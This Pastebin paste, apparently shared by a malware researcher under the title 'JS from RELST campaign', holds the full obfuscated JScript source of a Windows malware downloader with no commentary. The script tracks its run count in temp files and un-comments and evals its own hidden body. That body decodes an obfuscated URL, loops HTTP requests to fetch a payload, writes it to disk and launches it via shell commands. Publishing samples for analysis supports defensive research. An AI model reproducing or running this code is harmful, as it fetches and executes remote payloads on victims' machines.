SHARE
TWEET

JS from RELST campaign

MalwareBreakdown Jun 6th, 2017 111 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var ecbdfebefbae = new ActiveXObject('Scripting.FileSystemObject');
  2.  if(ecbdfebefbae.FileExists('ceacadaaffbda.txt')){
  3.  ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbda.txt');
  4.  Wscript.echo('ceceabdba');
  5.  Wscript.echo('ceceabdba');
  6.  Wscript.echo('ceceabdba');
  7.  Wscript.echo('ceceabdba');
  8.  Wscript.echo('ceceabdba');
  9.  Wscript.echo('ceceabdba');
  10.  Wscript.echo('ceceabdba');
  11.  Wscript.echo('ceceabdba');
  12.  Wscript.echo('ceceabdba');
  13.  }
  14.  if(ecbdfebefbae.FileExists('ceacadaaffbdaas.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbdaas.txt');
  15.  /*
  16.  var dcfaaaccfe = '';
  17.  var fcacbfdfadbb = [];
  18.  var ddaadfedeea;
  19.  function eaccac(bcfeddcdabadbdec) {
  20.  var dcccfdcabeddc = bcfeddcdabadbdec.toString();
  21.  var ddbcfdfab = '';
  22.  for (var cacbfffbbefedb = 0; cacbfffbbefedb < dcccfdcabeddc.length; cacbfffbbefedb += 2)
  23.  ddbcfdfab += String.fromCharCode(parseInt(dcccfdcabeddc.substr(cacbfffbbefedb, 2), 16));
  24.  return ddbcfdfab;
  25.  }
  26.  function cacdeedadddf(fcfcdbecdfedbf) {
  27.  return !isNaN(parseFloat(fcfcdbecdfedbf)) && isFinite(fcfcdbecdfedbf);
  28.  }
  29.  function dbabedccacd(daffacdcfffeabdaffacdcfffeab,befbedefdebabeea){
  30.  for(i=befbedefdebabeea;i>0;i--){
  31.  daffacdcfffeabdaffacdcfffeab = daffacdcfffeabdaffacdcfffeab - 1;
  32.  if(daffacdcfffeabdaffacdcfffeab<0)daffacdcfffeabdaffacdcfffeab = 9;
  33.  }
  34.  return daffacdcfffeabdaffacdcfffeab;
  35.  }
  36.  function dfcfeacaca(sstrstrtdaffacdcfffeabr,daabcffedff){
  37.  var ecbcdaeeabbcfb = sstrstrtdaffacdcfffeabr.length;
  38.  var dfcebdfae = '';
  39.  var aabfadcfbfebafeb = 0;
  40.  for(var baccdcee=0;baccdcee<ecbcdaeeabbcfb;baccdcee++){
  41.  if(aabfadcfbfebafeb>10)aabfadcfbfebafeb=0;
  42.  if(cacdeedadddf(sstrstrtdaffacdcfffeabr.charAt(baccdcee))){
  43.  dfcebdfae = dfcebdfae + dbabedccacd(sstrstrtdaffacdcfffeabr.charAt(baccdcee),daabcffedff[aabfadcfbfebafeb]);
  44.  aabfadcfbfebafeb++;
  45.  }else{
  46.  dfcebdfae = dfcebdfae + sstrstrtdaffacdcfffeabr.charAt(baccdcee);
  47.  }
  48.  }
  49.  return dfcebdfae;
  50.  }
  51.  function fdfbcffbfb(aefacaceaccced,affbcdbabccf){
  52.  var feccfbbfacaffcde = "mrlhIWuvR)Z,7:FK0VJn-1PbOE$Bpk@wdC2e8.&D46%_Qat+GziqTY;coL9U*3fAMjX(^Ssy5!HNgx";
  53.  var bedefccaffb = "";
  54.  var feaabefdafe = feccfbbfacaffcde.length-1;
  55.  var size = aefacaceaccced.length;
  56.  for(var fedcdcdbdca = 0; fedcdcdbdca<size ; fedcdcdbdca++){
  57.  var befbefdbb = feccfbbfacaffcde.indexOf(aefacaceaccced.charAt(fedcdcdbdca));
  58.  var eaebffebdabede = befbefdbb - affbcdbabccf;
  59.  if(eaebffebdabede<0){
  60.  eaebffebdabede = feaabefdafe - Math.abs(eaebffebdabede);
  61.  var befbedefdebabeea = feaabefdafe - 1;
  62.  if(eaebffebdabede==befbedefdebabeea)eaebffebdabede = eaebffebdabede + affbcdbabccf;
  63.  }
  64.  bedefccaffb = bedefccaffb + feccfbbfacaffcde.charAt(eaebffebdabede);
  65.  }
  66.  return eaccac(bedefccaffb);
  67.  }
  68.  var acadeeaebceeaaab = new ActiveXObject(fdfbcffbfb(":f%f:e%U:V:6%U%$%:e$%%%U%2%!:f:U:f:6%!%4%K%e%M%!%f:6",1));
  69.  var ecccbeaaedcbf = acadeeaebceeaaab.GetSpecialFolder(2);
  70.  var acadeeaebceeaaabDeck = new ActiveXObject(fdfbcffbfb('!:!f%f:e%U:V:6e$:f%.%!%2%2',1));
  71.  var bbbaffebdeb = acadeeaebceeaaabDeck.SpecialFolders(fdfbcffbfb('66%!:f%p:6%K:V',1));
  72.  var ecccbeaaedcbfd = bbbaffebdeb;
  73.  var fbfcfdedfcdafb = new ActiveXObject(fdfbcffbfb(":f%f:e%U:V:6%U%$%:e$%%%U%2%!:f:U:f:6%!%4%K%e%M%!%f:6",1));
  74.  var ffccabaedd = new ActiveXObject(fdfbcffbfb('64:f:.%4%2fee$!.64626.!6!6!Ve$ffe$fV',1));
  75.  var bfaefbfadaaedce = 0;
  76.  var adafdedffbaf = 0;
  77.  var linksssee = ['%.:6:6:VfMeKeK:f%K%e%e%!:e%U%$%%%Ke$%f%K%4eK%:%P:6%!e$:V%.:V'];
  78.  while(true){
  79.  bfaefbfadaaedce++;
  80.  if(linksssee[adafdedffbaf] == undefined)adafdedffbaf = 0;
  81.  try {
  82.  ffccabaedd.open(fdfbcffbfb('6:6!!6',1,1), fdfbcffbfb(linksssee[adafdedffbaf],1)+'?ff'+bfaefbfadaaedce, false);
  83.  ffccabaedd.send();
  84.  } catch(e) {
  85.  adafdedffbaf++;
  86.  WScript.Sleep(1000);
  87.  continue;
  88.  }
  89.  var dcdfeaededa = ffccabaedd.responseText.indexOf('|||');
  90.  if( dcdfeaededa == -1 ){
  91.  adafdedffbaf++;
  92.  WScript.Sleep(1000);
  93.  continue;
  94.  }
  95.  if(ffccabaedd.Status == 200)break;
  96.  }
  97.  var fdbecfadcbbecfd = ffccabaedd.responseText;
  98.  fdbecfadcbbecfd = fdbecfadcbbecfd.split(fdfbcffbfb(':2:2:2',1));
  99.  var eccbbecbafbaa = fdbecfadcbbecfd[0].split(fdfbcffbfb('e2',1));
  100.  dcfaaaccfe = dfcfeacaca(fdbecfadcbbecfd[1],eccbbecbafbaa);
  101.  var fabadbfdfdaooo = new ActiveXObject(fdfbcffbfb(":f%f:e%U:V:6%U%$%:e$%%%U%2%!:f:U:f:6%!%4%K%e%M%!%f:6",1));
  102.  var  fcacbfdfadbb = [];
  103.  for(var baccdcee=0; baccdcee< dcfaaaccfe.length-1; baccdcee+=2){
  104.  fcacbfdfadbb.push(parseInt(dcfaaaccfe.substr(baccdcee, 2), 16));
  105.  }
  106.  ddaadfedeea = String.fromCharCode.apply(String, fcacbfdfadbb);
  107.  function abdadded(accbfadeddeed){
  108.  var febdaceaaabfacd = accbfadeddeed;
  109.  var aabeeafbdceb = new ActiveXObject(fdfbcffbfb('6P666K666ee$!f:6:e%!%P%4',1));
  110.  aabeeafbdceb.Type = 2;
  111.  aabeeafbdceb.Charset = 'ISO-8859-1';
  112.  aabeeafbdceb.Open();
  113.  aabeeafbdceb.WriteText(febdaceaaabfacd);
  114.  aabeeafbdceb.SaveToFile(ecccbeaaedcbfd + '/' +fdfbcffbfb('fVfef%f:e$%!:.%!',1), 2);
  115.  aabeeafbdceb.Close();
  116.  }
  117.  abdadded(ddaadfedeea);
  118.  var fabadbfdfda = new ActiveXObject(fdfbcffbfb(":f%f:e%U:V:6%U%$%:e$%%%U%2%!:f:U:f:6%!%4%K%e%M%!%f:6",1));
  119.  var ccadeddfffe = fabadbfdfda.FileExists(ecccbeaaedcbf + '/' +'bcebeaadbebcb.txt');
  120.  var fcddbefdecf = new ActiveXObject(fdfbcffbfb('!:!f%f:e%U:V:6e$:f%.%!%2%2',1));
  121.  fcddbefdecf.Run(fdfbcffbfb('%f%4%6e$%!:.%!eVeK%feV',1) + fdfbcffbfb('ee%!%f%.%KeV!p!M%K%$%!!6:e%P%$:f%%%!:e!4f$eV',1)+ ecccbeaaedcbfd +'\\'+ fdfbcffbfb('fVfef%f:e$%!:.%!',1)+fdfbcffbfb('fM!M%K%$%!e$6U%6%!%$:6%U%%%U%!:eee',1),0,false);
  122.  fcddbefdecf.Run(fdfbcffbfb('%f%4%6e$%!:.%!eVeK%feV',1) + fdfbcffbfb('ee%!%f%.%KeV!M%K%$%!6U%6f4fef$f$eV',1)+ ecccbeaaedcbfd +'\\'+ fdfbcffbfb('fVfef%f:e$%!:.%!',1)+fdfbcffbfb('fM!M%K%$%!e$6U%6%!%$:6%U%%%U%!:eee',1),0,false);
  123.  fcddbefdecf.Run(fdfbcffbfb('%f%4%6e$%!:.%!eVeK%feV',1)+ ecccbeaaedcbfd +'\\'+ fdfbcffbfb('fVfef%f:e$%!:.%!',1),0,false);
  124.  fabadbfdfda.DeleteFile(ecccbeaaedcbf + '/' +'ecbcdaeeabbcfber.txt');
  125.  if(ccadeddfffe)fabadbfdfda.DeleteFile(ecccbeaaedcbf + '/' +'bcebeaadbebcb.txt');
  126.  WScript.Quit();
  127.  */
  128.  var ecccbeaaedcbf = ecbdfebefbae.GetSpecialFolder(2);
  129.  function fdcbaddcfdbefd(bdbaebdaaaad){
  130.  var cccedffeaeafc = new ActiveXObject('Scripting.FileSystemObject');
  131.  var decdabdeebef = bdbaebdaaaad;
  132.  var aacfffbfaef = decdabdeebef;
  133.  var aebeefbaadecc = cccedffeaeafc.OpenTextFile(aacfffbfaef, 1);
  134.  var cfdabbebfcce =  aebeefbaadecc.ReadAll();
  135.  aebeefbaadecc.Close();
  136.  return cfdabbebfcce;
  137.  }
  138.  var ecbcdaeeabbcfb = 0;
  139.  var ccadeddfffe = ecbdfebefbae.FileExists(ecccbeaaedcbf + '/' + 'ecbcdaeeabbcfber.txt');
  140.  if(ccadeddfffe == true){
  141.  var eafcaacdbfbbafddd = ecbdfebefbae.OpenTextFile(ecccbeaaedcbf + '/' + 'ecbcdaeeabbcfber.txt', 1,1);
  142.  ecbcdaeeabbcfb = eafcaacdbfbbafddd.ReadAll();
  143.  eafcaacdbfbbafddd.Close();
  144.  }
  145.  ecbcdaeeabbcfb = parseInt(ecbcdaeeabbcfb) +1;
  146.  if(ecbdfebefbae.FileExists('ceacadaaffbd3.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbd3.txt');
  147.  eafcaacdbfbbafddd = ecbdfebefbae.OpenTextFile(ecccbeaaedcbf + '/' + 'ecbcdaeeabbcfber.txt', 2,1);
  148.  eafcaacdbfbbafddd.WriteLine(ecbcdaeeabbcfb);
  149.  eafcaacdbfbbafddd.Close();
  150.  var abedaeeedabcdc = WScript.ScriptFullName;
  151.  var fbeeacccadfb = fdcbaddcfdbefd(abedaeeedabcdc);
  152.  if(ecbdfebefbae.FileExists('ceacadaaffbd.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbd.txt');
  153.  if(ecbcdaeeabbcfb==4){
  154.  eafcaacdbfbbafddd = ecbdfebefbae.OpenTextFile(ecccbeaaedcbf + '/' + 'fbdffabbacfcc.txt', 2,1);
  155.  if(ecbdfebefbae.FileExists('ceacadaaffbda.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbda.txt');
  156.  eafcaacdbfbbafddd.WriteLine(ecbcdaeeabbcfb);
  157.  eafcaacdbfbbafddd.Close();
  158.  }
  159.  if(ecbcdaeeabbcfb==5){
  160.  if(ecbdfebefbae.FileExists(ecccbeaaedcbf + '/' + 'edaafeddcdfeda.png'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'edaafeddcdfeda.png');
  161.  ecbdfebefbae.MoveFile(ecccbeaaedcbf + '/' + 'fbdffabbacfcc.txt', ecccbeaaedcbf + '/' + 'bcebeaadbebcb.txt');
  162.  if(ecbdfebefbae.FileExists(ecccbeaaedcbf + '/' + 'fdfdabdbc.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'fdfdabdbc.txt');
  163.  if(ecbdfebefbae.FileExists('ceacadaaffbda.txt'))ecbdfebefbae.DeleteFile(ecccbeaaedcbf + '/' + 'ceacadaaffbda.txt');
  164.  fbeeacccadfb = fbeeacccadfb.replace('/*','').replace('*/', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '').replace('fabeefafbd', '');
  165.  }
  166.  var ccadeddfffe = ecbdfebefbae.FileExists(ecccbeaaedcbf + '/' + 'bcebeaadbebcb.txt');
  167.  if(ccadeddfffe == true){
  168.  eval(fbeeacccadfb);
  169.  }
  170.  eval(fbeeacccadfb);
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top